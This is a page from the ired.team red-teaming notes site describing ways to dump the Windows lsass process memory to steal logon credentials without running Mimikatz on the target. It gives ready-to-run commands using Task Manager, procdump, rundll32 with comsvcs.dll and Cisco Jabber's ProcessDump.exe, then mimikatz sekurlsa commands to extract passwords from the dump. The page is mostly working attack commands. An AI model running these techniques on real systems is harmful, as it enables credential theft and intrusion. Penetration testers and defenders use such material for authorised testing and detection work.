Red Teaming Experiments
linkedintwitterpatreongithub
Search…
What is ired.team?
Pinned
Pentesting Cheatsheets
Active Directory & Kerberos Abuse
offensive security
Red Team Infrastructure
Initial Access
Code Execution
Code & Process Injection
Defense Evasion
Enumeration and Discovery
Privilege Escalation
Credential Access & Dumping
Dumping Credentials from Lsass Process Memory with Mimikatz
Dumping Lsass Without Mimikatz
Dumping Lsass without Mimikatz with MiniDumpWriteDump
Dumping Hashes from SAM via Registry
Dumping SAM via esentutl.exe
Dumping LSA Secrets
Dumping and Cracking mscash - Cached Domain Credentials
Dumping Domain Controller Hashes Locally and Remotely
Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
Network vs Interactive Logons
Reading DPAPI Encrypted Secrets with Mimikatz and C++
Credentials in Registry
Password Filter
Forcing WDigest to Store Credentials in Plaintext
Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
Pulling Web Application Passwords by Hooking HTML Input Fields
Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
Credentials Collection via CredUIPromptForCredentials
Lateral Movement
Persistence
Exfiltration
reversing, forensics & misc
Internals
Cloud
Neo4j
Dump Virtual Box Memory
AES Encryption Using Crypto++ .lib in Visual Studio C++
Reversing Password Checking Routine
Powered By GitBook
Dumping Lsass Without Mimikatz

See my notes about writing a simple custom process dumper using MiniDumpWriteDump API:

Create a minidump of the lsass.exe using task manager (must be running as administrator):
Swtich mimikatz context to the minidump:
[email protected]
sekurlsa::minidump C:\Users\ADMINI~1.OFF\AppData\Local\Temp\lsass.DMP
sekurlsa::logonpasswords

Procdump from sysinternal's could also be used to dump the process:
[email protected]
procdump.exe -accepteula -ma lsass.exe lsass.dmp
​
// or avoid reading lsass by dumping a cloned lsass process
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp

Executing a native comsvcs.dll DLL found in Windows\system32 with rundll32:
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full

Sometimes Cisco Jabber (always?) comes with a nice utility called ProcessDump.exe that can be found in c:\program files (x86)\cisco systems\cisco jabber\x64\. We can use it to dump lsass process memory in Powershell like so:
cd c:\program files (x86)\cisco systems\cisco jabber\x64\
processdump.exe (ps lsass).id c:\temp\lsass.dmp
screenshot by @em1rerdogan

MiniDumpWriteDump via COM+ Services DLL
modexp
Previous
Dumping Credentials from Lsass Process Memory with Mimikatz
Next
Dumping Lsass without Mimikatz with MiniDumpWriteDump
Last modified 1yr ago
Copy link
On this page
MiniDumpWriteDump API
Task Manager
Procdump
comsvcs.dll
ProcessDump.exe from Cisco Jabber
References